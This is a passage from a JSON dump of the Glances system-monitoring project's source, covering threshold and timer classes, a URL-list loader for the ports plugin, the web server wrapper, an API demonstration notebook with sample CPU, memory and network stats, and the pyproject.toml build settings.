    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"\nThresholds classes: OK, CAREFUL, WARNING, CRITICAL\n\"\"\"\n\nimport sys\nfrom functools import total_ordering\n\n\nclass GlancesThresholds:\n    \"\"\"Class to manage thresholds dict for all Glances plugins:\n\n    key: Glances stats (example: cpu_user)\n    value: Threshold instance\n    \"\"\"\n\n    threshold_list = ['OK', 'CAREFUL', 'WARNING', 'CRITICAL']\n\n    def __init__(self):\n        self.current_module = sys.modules[__name__]\n        self._thresholds = {}\n\n    def get(self, stat_name=None):\n        \"\"\"Return the threshold dict.\n        If stat_name is None, return the threshold for all plugins (dict of Threshold*)\n        Else return the Threshold* instance for the given plugin\n        \"\"\"\n        if stat_name is None:\n            return self._thresholds\n\n        if stat_name in self._thresholds:\n            return self._thresholds[stat_name]\n        return {}\n\n    def add(self, stat_name, threshold_description):\n        \"\"\"Add a new threshold to the dict (key = stat_name)\"\"\"\n        if threshold_description not in self.threshold_list:\n            return False\n\n        self._thresholds[stat_name] = getattr(\n            self.current_module, 'GlancesThreshold' + threshold_description.capitalize()\n        )()\n        return True\n\n\n# Global variable uses to share thresholds between Glances components\nglances_thresholds = GlancesThresholds()\n\n\n@total_ordering\nclass _GlancesThreshold:\n    \"\"\"Father class for all other Thresholds\"\"\"\n\n    def description(self):\n        return self._threshold['description']\n\n    def value(self):\n        return self._threshold['value']\n\n    def __repr__(self):\n        return str(self._threshold)\n\n    def __str__(self):\n        return self.description()\n\n    def __lt__(self, other):\n        return self.value() < other.value()\n\n    def __eq__(self, other):\n        return self.value() == other.value()\n\n\nclass GlancesThresholdOk(_GlancesThreshold):\n    \"\"\"Ok Threshold class\"\"\"\n\n    _threshold = {'description': 'OK', 'value': 0}\n\n\nclass GlancesThresholdCareful(_GlancesThreshold):\n    \"\"\"Careful Threshold class\"\"\"\n\n    _threshold = {'description': 'CAREFUL', 'value': 1}\n\n\nclass GlancesThresholdWarning(_GlancesThreshold):\n    \"\"\"Warning Threshold class\"\"\"\n\n    _threshold = {'description': 'WARNING', 'value': 2}\n\n\nclass GlancesThresholdCritical(_GlancesThreshold):\n    \"\"\"Warning Threshold class\"\"\"\n\n    _threshold = {'description': 'CRITICAL', 'value': 3}\n"
  },
  {
    "path": "glances/timer.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"The timer manager.\"\"\"\n\nfrom datetime import datetime\nfrom time import time\n\n# Global list to manage the elapsed time\nlast_update_times = {}\n\n\ndef getTimeSinceLastUpdate(key):\n    \"\"\"Return the elapsed time since last update.\"\"\"\n    global last_update_times\n    current_time = time()\n    last_time = last_update_times.get(key)\n    if not last_time:\n        time_since_update = 1\n    else:\n        time_since_update = current_time - last_time\n    last_update_times[key] = current_time\n    return time_since_update\n\n\nclass Timer:\n    \"\"\"The timer class. A simple chronometer.\"\"\"\n\n    def __init__(self, duration):\n        self.duration = duration\n        self.start()\n\n    def start(self):\n        self.target = time() + self.duration\n\n    def reset(self, duration=None):\n        if duration is not None:\n            self.set(duration)\n        self.start()\n\n    def get(self):\n        return self.duration - (self.target - time())\n\n    def set(self, duration):\n        self.duration = duration\n\n    def finished(self):\n        return time() > self.target\n\n\nclass Counter:\n    \"\"\"The counter class.\"\"\"\n\n    def __init__(self):\n        self.start()\n\n    def start(self):\n        self.target = datetime.now()\n\n    def reset(self):\n        self.start()\n\n    def get(self):\n        return (datetime.now() - self.target).total_seconds()\n"
  },
  {
    "path": "glances/web_list.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage the Glances web/url list (Ports plugin).\"\"\"\n\nfrom glances.globals import urlparse\nfrom glances.logger import logger\n\n\nclass GlancesWebList:\n    \"\"\"Manage the Web/Url list for the ports plugin.\"\"\"\n\n    _section = \"ports\"\n    _default_refresh = 60\n    _default_timeout = 3\n\n    def __init__(self, config=None, args=None):\n        # web_list is a list of dict (JSON compliant)\n        # [ {'url': 'http://blog.nicolargo.com',\n        #    'refresh': 30,\n        #    'description': 'My blog',\n        #    'status': 404} ... ]\n        # Load the configuration file\n        self._web_list = self.load(config)\n\n    def load(self, config):\n        \"\"\"Load the web list from the configuration file.\"\"\"\n        web_list = []\n\n        if config is None:\n            logger.debug(\"No configuration file available. Cannot load ports list.\")\n        elif not config.has_section(self._section):\n            logger.debug(f\"No [{self._section}] section in the configuration file. Cannot load ports list.\")\n        else:\n            logger.debug(f\"Start reading the [{self._section}] section in the configuration file\")\n\n            refresh = int(config.get_value(self._section, 'refresh', default=self._default_refresh))\n            timeout = int(config.get_value(self._section, 'timeout', default=self._default_timeout))\n\n            # Read the web/url list\n            for i in range(1, 256):\n                new_web = {}\n                postfix = f'web_{str(i)}_'\n\n                # Read mandatory configuration key: host\n                new_web['url'] = config.get_value(self._section, '{}{}'.format(postfix, 'url'))\n                if new_web['url'] is None:\n                    continue\n                url_parse = urlparse(new_web['url'])\n                if not bool(url_parse.scheme) or not bool(url_parse.netloc):\n                    logger.error(\n                        'Bad URL ({}) in the [{}] section of configuration file.'.format(new_web['url'], self._section)\n                    )\n                    continue\n\n                # Read optionals configuration keys\n                # Default description is the URL without the http://\n                new_web['description'] = config.get_value(\n                    self._section, f'{postfix}description', default=f\"{url_parse.netloc}\"\n                )\n\n                # Default status\n                new_web['status'] = None\n                new_web['elapsed'] = 0\n\n                # Refresh rate in second\n                new_web['refresh'] = refresh\n\n                # Timeout in second\n                new_web['timeout'] = int(config.get_value(self._section, f'{postfix}timeout', default=timeout))\n\n                # RTT warning\n                new_web['rtt_warning'] = config.get_value(self._section, f'{postfix}rtt_warning', default=None)\n                if new_web['rtt_warning'] is not None:\n                    # Convert to second\n                    new_web['rtt_warning'] = int(new_web['rtt_warning']) / 1000.0\n\n                # Indice\n                new_web['indice'] = 'web_' + str(i)\n\n                # ssl_verify\n                new_web['ssl_verify'] = config.get_value(self._section, f'{postfix}ssl_verify', default=True)\n                # Proxy\n                http_proxy = config.get_value(self._section, f'{postfix}http_proxy', default=None)\n\n                https_proxy = config.get_value(self._section, f'{postfix}https_proxy', default=None)\n\n                if https_proxy is None and http_proxy is None:\n                    new_web['proxies'] = None\n                else:\n                    new_web['proxies'] = {'http': http_proxy, 'https': https_proxy}\n\n                # Add the server to the list\n                logger.debug(\"Add Web URL {} to the static list\".format(new_web['url']))\n                web_list.append(new_web)\n\n            # Ports list loaded\n            logger.debug(f\"Web list loaded: {web_list}\")\n\n        return web_list\n\n    def get_web_list(self):\n        \"\"\"Return the current server list (dict of dict).\"\"\"\n        return self._web_list\n\n    def set_server(self, pos, key, value):\n        \"\"\"Set the key to the value for the pos (position in the list).\"\"\"\n        self._web_list[pos][key] = value\n"
  },
  {
    "path": "glances/webserver.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Glances Restful/API and Web based interface.\"\"\"\n\nfrom glances.globals import WINDOWS\nfrom glances.outputs.glances_restful_api import GlancesRestfulApi\nfrom glances.processes import glances_processes\nfrom glances.stats import GlancesStats\n\n\nclass GlancesWebServer:\n    \"\"\"This class creates and manages the Glances Web server session.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        # Init stats\n        self.stats = GlancesStats(config, args)\n\n        if not WINDOWS and args.no_kernel_threads:\n            # Ignore kernel threads in process list\n            glances_processes.disable_kernel_threads()\n\n        # Set the args for the glances_processes instance\n        glances_processes.set_args(args)\n\n        # Initial system information update\n        self.stats.update()\n\n        # Init the Web server\n        self.web = GlancesRestfulApi(config=config, args=args)\n\n    def serve_forever(self):\n        \"\"\"Main loop for the Web server.\"\"\"\n        self.web.start(self.stats)\n\n    def end(self):\n        \"\"\"End of the Web server.\"\"\"\n        self.web.end()\n        self.stats.end()\n"
  },
  {
    "path": "glances.ipynb",
    "content": "{\n \"cells\": [\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"592b8135-c06b-41b7-895e-9dd70787f6ac\",\n   \"metadata\": {},\n   \"source\": [\n    \"# Use Glances API in your Python code\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"e5ec86ae-ce2b-452f-b715-54e746026a96\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Init the Glances API\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 2,\n   \"id\": \"ba9b3546-65a0-4eec-942b-1855ff5c5d32\",\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"from glances import api\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 3,\n   \"id\": \"e81ad928-3b61-4654-8589-13cb29e7f292\",\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"gl = api.GlancesAPI()\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"6ec912a3-0875-4cdb-8539-e84ffb27768a\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Get plugins list\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 5,\n   \"id\": \"1ce57a13-a90d-4d65-b4a4-2bc45112697e\",\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"['alert',\\n\",\n       \" 'ports',\\n\",\n       \" 'diskio',\\n\",\n       \" 'containers',\\n\",\n       \" 'processcount',\\n\",\n       \" 'programlist',\\n\",\n       \" 'gpu',\\n\",\n       \" 'percpu',\\n\",\n       \" 'vms',\\n\",\n       \" 'system',\\n\",\n       \" 'network',\\n\",\n       \" 'cpu',\\n\",\n       \" 'amps',\\n\",\n       \" 'processlist',\\n\",\n       \" 'load',\\n\",\n       \" 'sensors',\\n\",\n       \" 'uptime',\\n\",\n       \" 'now',\\n\",\n       \" 'connections',\\n\",\n       \" 'fs',\\n\",\n       \" 'wifi',\\n\",\n       \" 'ip',\\n\",\n       \" 'help',\\n\",\n       \" 'version',\\n\",\n       \" 'psutilversion',\\n\",\n       \" 'core',\\n\",\n       \" 'mem',\\n\",\n       \" 'folders',\\n\",\n       \" 'quicklook',\\n\",\n       \" 'memswap',\\n\",\n       \" 'raid']\"\n      ]\n     },\n     \"execution_count\": 5,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"gl.plugins()\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"d5be2964-7a28-4b93-9dd0-1481afd2ee50\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Get CPU stats\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 7,\n   \"id\": \"0d1636d2-3f3e-44d4-bb67-45487384f79f\",\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"{'total': 3.8, 'user': 3.0, 'nice': 0.0, 'system': 0.8, 'idle': 96.1, 'iowait': 0.1, 'irq': 0.0, 'steal': 0.0, 'guest': 0.0, 'ctx_switches': 0, 'interrupts': 0, 'soft_interrupts': 0, 'syscalls': 0, 'cpucore': 16, 'time_since_update': 141.46278643608093, 'ctx_switches_gauge': 12830371, 'ctx_switches_rate_per_sec': 0, 'interrupts_gauge': 9800040, 'interrupts_rate_per_sec': 0, 'soft_interrupts_gauge': 3875931, 'soft_interrupts_rate_per_sec': 0, 'syscalls_gauge': 0, 'syscalls_rate_per_sec': 0}\"\n      ]\n     },\n     \"execution_count\": 7,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"gl.cpu\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 8,\n   \"id\": \"99681a33-045e-43bf-927d-88b15872fad0\",\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"3.1\"\n      ]\n     },\n     \"execution_count\": 8,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"gl.cpu.get('total')\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"07e30de4-8f2a-4110-9c43-2a87d91dbf24\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Get MEMORY stats\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 10,\n   \"id\": \"33502d93-acf9-49c5-8bcd-0a0404b47829\",\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"{'total': 16422858752, 'available': 6726169136, 'percent': 59.0, 'used': 9696689616, 'free': 541847552, 'active': 8672595968, 'inactive': 5456875520, 'buffers': 354791424, 'cached': 6520318384, 'shared': 729960448}\"\n      ]\n     },\n     \"execution_count\": 10,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"gl.mem\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 11,\n   \"id\": \"404cd8d6-ac38-4830-8ead-4b747e0ca7b1\",\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"6779998768\"\n      ]\n     },\n     \"execution_count\": 11,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"gl.mem.get('available')\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"74e27e9f-3240-4827-a754-3538b7d68119\",\n   \"metadata\": {},\n   \"source\": [\n    \"Display it in a user friendly way:\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 13,\n   \"id\": \"fa83b40a-51e8-45fa-b478-d0fcc9de4639\",\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"'6.28G'\"\n      ]\n     },\n     \"execution_count\": 13,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"gl.auto_unit(gl.mem.get('available'))\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"bfaf5b94-7c9c-4fdc-8a91-71f543cafa4b\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Get NETWORK stats\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 16,\n   \"id\": \"a0ab2ce7-e9bd-4a60-9b90-095a9023dac7\",\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"{'wlp0s20f3': {'bytes_sent': 1130903, 'bytes_recv': 2213272, 'speed': 0, 'key': 'interface_name', 'interface_name': 'wlp0s20f3', 'alias': 'WIFI', 'bytes_all': 3344175, 'time_since_update': 354.35748958587646, 'bytes_recv_gauge': 1108380679, 'bytes_recv_rate_per_sec': 6245.0, 'bytes_sent_gauge': 21062113, 'bytes_sent_rate_per_sec': 3191.0, 'bytes_all_gauge': 1129442792, 'bytes_all_rate_per_sec': 9437.0}}\"\n      ]\n     },\n     \"execution_count\": 16,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"gl.network\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"b65f7280-d9f0-4719-9e10-8b78dc414bae\",\n   \"metadata\": {},\n   \"source\": [\n    \"Get the list of networks interfaces:\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 18,\n   \"id\": \"1a55d32a-bd7d-4dfa-b239-8875c01f205e\",\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"['wlp0s20f3']\"\n      ]\n     },\n     \"execution_count\": 18,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"gl.network.keys()\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"8c7e0215-e96a-4f7e-a187-9b7bee1abcf9\",\n   \"metadata\": {},\n   \"source\": [\n    \"Get stats for a specific network interface:\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 20,\n   \"id\": \"9aacfb32-c0e3-4fc7-b1d2-d216e46088cd\",\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"{'bytes_sent': 118799,\\n\",\n       \" 'bytes_recv': 275052,\\n\",\n       \" 'speed': 0,\\n\",\n       \" 'key': 'interface_name',\\n\",\n       \" 'interface_name': 'wlp0s20f3',\\n\",\n       \" 'alias': 'WIFI',\\n\",\n       \" 'bytes_all': 393851,\\n\",\n       \" 'time_since_update': 46.24822926521301,\\n\",\n       \" 'bytes_recv_gauge': 1108795793,\\n\",\n       \" 'bytes_recv_rate_per_sec': 5947.0,\\n\",\n       \" 'bytes_sent_gauge': 21268464,\\n\",\n       \" 'bytes_sent_rate_per_sec': 2568.0,\\n\",\n       \" 'bytes_all_gauge': 1130064257,\\n\",\n       \" 'bytes_all_rate_per_sec': 8516.0}\"\n      ]\n     },\n     \"execution_count\": 20,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"gl.network.get('wlp0s20f3')\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 21,\n   \"id\": \"4f5ae513-6022-4a52-8d6c-e8b62afacc24\",\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"5105.0\"\n      ]\n     },\n     \"execution_count\": 21,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"gl.network.get('wlp0s20f3').get('bytes_recv_rate_per_sec')\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"8b0bdbf4-e386-44aa-9585-1d042f0ded5d\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Additional information\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"5c52a0c7-06fb-432a-bdb7-9921f432d5a6\",\n   \"metadata\": {},\n   \"source\": [\n    \"Example for the LOAD plugin.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 29,\n   \"id\": \"99303a2b-52a3-440f-a896-ad4951a9de34\",\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"{'min1': 1.01123046875, 'min5': 0.83447265625, 'min15': 0.76171875, 'cpucore': 16}\"\n      ]\n     },\n     \"execution_count\": 29,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"gl.load\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"7a560824-2787-4436-b39b-63de0c455536\",\n   \"metadata\": {},\n   \"source\": [\n    \"Get the limit configured in the glances.conf:\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 34,\n   \"id\": \"cbbc6a81-623f-4eff-9d08-e6a8b5981660\",\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"{'min1': {'description': 'Average sum of the number of processes waiting in the run-queue plus the number currently executing over 1 minute.',\\n\",\n       \"  'unit': 'float'},\\n\",\n       \" 'min5': {'description': 'Average sum of the number of processes waiting in the run-queue plus the number currently executing over 5 minutes.',\\n\",\n       \"  'unit': 'float'},\\n\",\n       \" 'min15': {'description': 'Average sum of the number of processes waiting in the run-queue plus the number currently executing over 15 minutes.',\\n\",\n       \"  'unit': 'float'},\\n\",\n       \" 'cpucore': {'description': 'Total number of CPU core.', 'unit': 'number'}}\"\n      ]\n     },\n     \"execution_count\": 34,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"gl.load.fields_description\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"2bd51d13-77e3-48f0-aa53-af86df6425f8\",\n   \"metadata\": {},\n   \"source\": [\n    \"Get field description and unit:\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 30,\n   \"id\": \"8682edcf-a8b9-424c-976f-2a301a05be6a\",\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"{'history_size': 1200.0,\\n\",\n       \" 'load_disable': ['False'],\\n\",\n       \" 'load_careful': 0.7,\\n\",\n       \" 'load_warning': 1.0,\\n\",\n       \" 'load_critical': 5.0}\"\n      ]\n     },\n     \"execution_count\": 30,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"gl.load.get_limits()\"\n   ]\n  },\n  {\n   \"cell_type\": \"raw\",\n   \"id\": \"3c671ff8-3a0c-48d3-8247-6081c69c19a9\",\n   \"metadata\": {},\n   \"source\": [\n    \"Get current stats views regarding limits:\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 33,\n   \"id\": \"45e03e9b-233c-4359-bcbc-7d2f06aca1c6\",\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"{'min1': {'decoration': 'DEFAULT',\\n\",\n       \"  'optional': False,\\n\",\n       \"  'additional': False,\\n\",\n       \"  'splittable': False,\\n\",\n       \"  'hidden': False},\\n\",\n       \" 'min5': {'decoration': 'OK',\\n\",\n       \"  'optional': False,\\n\",\n       \"  'additional': False,\\n\",\n       \"  'splittable': False,\\n\",\n       \"  'hidden': False},\\n\",\n       \" 'min15': {'decoration': 'OK_LOG',\\n\",\n       \"  'optional': False,\\n\",\n       \"  'additional': False,\\n\",\n       \"  'splittable': False,\\n\",\n       \"  'hidden': False},\\n\",\n       \" 'cpucore': {'decoration': 'DEFAULT',\\n\",\n       \"  'optional': False,\\n\",\n       \"  'additional': False,\\n\",\n       \"  'splittable': False,\\n\",\n       \"  'hidden': False}}\"\n      ]\n     },\n     \"execution_count\": 33,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"gl.load.get_views()\"\n   ]\n  }\n ],\n \"metadata\": {\n  \"kernelspec\": {\n   \"display_name\": \"Python 3 (ipykernel)\",\n   \"language\": \"python\",\n   \"name\": \"python3\"\n  },\n  \"language_info\": {\n   \"codemirror_mode\": {\n    \"name\": \"ipython\",\n    \"version\": 3\n   },\n   \"file_extension\": \".py\",\n   \"mimetype\": \"text/x-python\",\n   \"name\": \"python\",\n   \"nbconvert_exporter\": \"python\",\n   \"pygments_lexer\": \"ipython3\",\n   \"version\": \"3.14.0\"\n  }\n },\n \"nbformat\": 4,\n \"nbformat_minor\": 5\n}\n"
  },
  {
    "path": "pyproject.toml",
    "content": "[project]\nauthors = [{name = \"Nicolas Hennion\", email = \"nicolas@nicolargo.com\"}]\nclassifiers = [\n  \"Development Status :: 5 - Production/Stable\",\n  \"Environment :: Console :: Curses\",\n  \"Environment :: Web Environment\",\n  \"Framework :: FastAPI\",\n  \"Intended Audience :: Developers\",\n  \"Intended Audience :: End Users/Desktop\",\n  \"Intended Audience :: System Administrators\",\n  \"Operating System :: OS Independent\",\n  \"Programming Language :: Python :: 3\",\n  \"Programming Language :: Python :: 3.10\",\n  \"Programming Language :: Python :: 3.11\",\n  \"Programming Language :: Python :: 3.12\",\n  \"Programming Language :: Python :: 3.13\",\n  \"Programming Language :: Python :: 3.14\",\n  \"Topic :: System :: Monitoring\",\n]\ndependencies = [\n  \"defusedxml\",\n  \"packaging\",\n  \"psutil>=5.6.7\",\n  \"windows-curses; platform_system == 'Windows'\",\n  \"shtab; platform_system != 'Windows'\",\n  \"jinja2\",\n  \"pyinstrument>=5.1.2\",\n]\ndescription = \"A cross-platform curses-based monitoring tool\"\ndynamic = [\"version\"]\nkeywords = [\"cli\", \"curses\", \"monitoring\", \"system\"]\nlicense = \"LGPL-3.0-only\"\nname = \"Glances\"\nreadme = \"README-pypi.rst\"\nrequires-python = \">=3.10\"\nurls.Homepage = \"https://github.com/nicolargo/glances\"\n\n[dependency-groups]\ndev = [\n  \"codespell\",\n  \"fonttools>=4.43.0\",\n  \"gprof2dot\",\n  \"matplotlib\",\n  \"memory-profiler\",\n  \"numpy>=1.22.2\",\n  \"pillow>=10.0.1\",\n  \"pre-commit\",\n  \"py-spy\",\n  \"pyinstrument>=5.1.1\",\n  \"pyright\",\n  \"pytest\",\n  \"requirements-parser\",\n  \"reuse\",\n  \"rstcheck\",\n  \"ruff\",\n  \"selenium\",\n  \"semgrep\",\n  \"setuptools>=65.5.1\",\n  \"sphinx\",\n  \"sphinx_rtd_theme\",\n  \"webdriver-manager\",\n]\n\n[project.optional-dependencies]\naction = [\"chevron\"]\n# all but not dev\nall = [\"glances[action,browser,cloud,containers,export,gpu,graph,ip,mcp,raid,sensors,smart,snmp,sparklines,web,wifi]\"]\nbrowser = [\"zeroconf\"]\ncloud = [\"requests\"]\ncontainers = [\n  \"docker>=6.1.1\",\n  \"packaging\",\n  \"podman\",\n  \"pylxd>=2.3.1\",\n  \"python-dateutil\",\n  \"six\",\n]\nexport = [\n  #\"duckdb\",  # Make the Github pipeline failed when building Alpine Docker\n  \"bernhard\",\n  \"elasticsearch\",\n  \"graphitesender\",\n  \"ibmcloudant\",\n  \"influxdb-client\",\n  \"influxdb>=1.0.0\",\n  \"influxdb3-python\",\n  \"kafka-python\",\n  \"nats-py\",\n  \"paho-mqtt\",\n  \"pika\",\n  \"potsdb\",\n  \"prometheus_client\",\n  \"psycopg[binary]\",\n  \"pymongo\",\n  \"pyzmq\",\n  \"statsd\",\n]\ngpu = [\"nvidia-ml-py\"]\ngraph = [\"pygal\"]\nmcp = [\"mcp>=1.0.0\"]\nraid = [\"pymdstat\"]\nsensors = [\"batinfo; platform_system == 'Linux'\"]\nsmart = [\"pySMART\"]\nsnmp = [\"pysnmp-lextudio<6.2.0\"]\nsparklines = [\"sparklines\"]\nweb = [\n  \"fastapi>=0.82.0\",\n  \"python-jose[cryptography]>=3.3.0\",\n  \"requests\",\n  \"uvicorn\",\n]\nwifi = [\"wifi\"]\n\n[project.scripts]\nglances = \"glances:main\"\n\n[tool.setuptools.data-files]\n\"share/doc/glances\" = [\n  \"AUTHORS\",\n  \"COPYING\",\n  \"NEWS.rst\",\n  \"README.rst\",\n  \"README-pypi.rst\",\n  \"SECURITY.md\",\n  \"CONTRIBUTING.md\",\n  \"conf/glances.conf\",\n  \"conf/fetch-templates/*.jinja\",\n]\n\"share/man/man1\" = [\"docs/man/glances.1\"]\n\n[tool.setuptools.dynamic]\nversion = {attr = \"glances.__version__\"}\n\n[tool.setuptools.packages.find]\ninclude = [\"glances*\"]\n\n[tool.ruff]\nline-length = 120\ntarget-version = \"py310\"\n\n[tool.ruff.format]\nquote-style = \"preserve\"\n\n[tool.ruff.lint]\n# Enable pycodestyle (`E`) and Pyflakes (`F`) codes by default.\nignore = [\"N801\", \"N802\", \"N803\", \"N805\", \"N806\", \"N807\", \"N811\", \"N812\", \"N813\", \"N814\", \"N815\", \"N816\", \"N817\", \"N818\"]\nselect = [\n  #    \"A\",\n  #    \"B\",\n  #    \"S\",\n  \"C90\", # mccabe\n  \"E\", # pycodestyle\n  \"F\", # Pyflakes\n  \"I\", # isort\n  \"N\", # pep8-naming\n  \"W\", # pycodestyle\n  \"UP\", # pyupgrde\n  \"C4\", # flake8-comprehensions\n  \"RET\", # flake8-return\n  #    \"PL\",\n  #    \"FBT\", # flake8-boolean-trap\n  #    \"RUF\", # Ruff-specific rules\n  #    \"PERF\", # Perflint\n]\n\n# Allow autofix for all enabled rules (when `--fix`) is provided.\nfixable = [\n  \"A\",\n  \"B\",\n  \"C\",\n  \"D\",\n  \"E\",\n  \"F\",\n  \"G\",\n  \"I\",\n  \"N\",\n  \"Q\",\n  \"S\",\n  \"T\",\n  \"W\",\n  \"ANN\",\n  \"ARG\",\n  \"BLE\",\n  \"COM\",\n  \"DJ\",\n  \"DTZ\",\n  \"EM\",\n  \"ERA\",\n  \"EXE\",\n  \"FBT\",\n  \"ICN\",\n  \"INP\",\n  \"ISC\",\n  \"NPY\",\n  \"PD\",\n  \"PGH\",\n  \"PIE\",\n  \"PL\",\n  \"PT\",\n  \"PTH\",\n  \"PYI\",\n  \"RET\",\n  \"RSE\",\n  \"RUF\",\n  \"SIM\",\n  \"SLF\",\n  \"TCH\",\n  \"TID\",\n  \"TRY\",\n  \"UP\",\n  \"YTT\",\n]\nunfixable = []\n\n# Exclude a variety of commonly ignored directories.\nexclude = [\n  \".bzr\",\n  \".direnv\",\n  \".eggs\",\n  \".git\",\n  \".hg\",\n  \".mypy_cache\",\n  \".nox\",\n  \".pants.d\",\n  \".pytype\",\n  \".ruff_cache\",\n  \".svn\",\n  \".tox\",\n  \".venv\",\n  \"__pypackages__\",\n  \"_build\",\n  \"buck-out\",\n  \"build\",\n  \"dist\",\n  \"node_modules\",\n  \"venv\",\n  \"venv-dev\",\n  \"venv-min\",\n  \"docs\",\n  \"tests-data\",\n  \"./glances/outputs/static/*\",\n]\n\n# Allow unused variables when underscore-prefixed.\ndummy-variable-rgx = 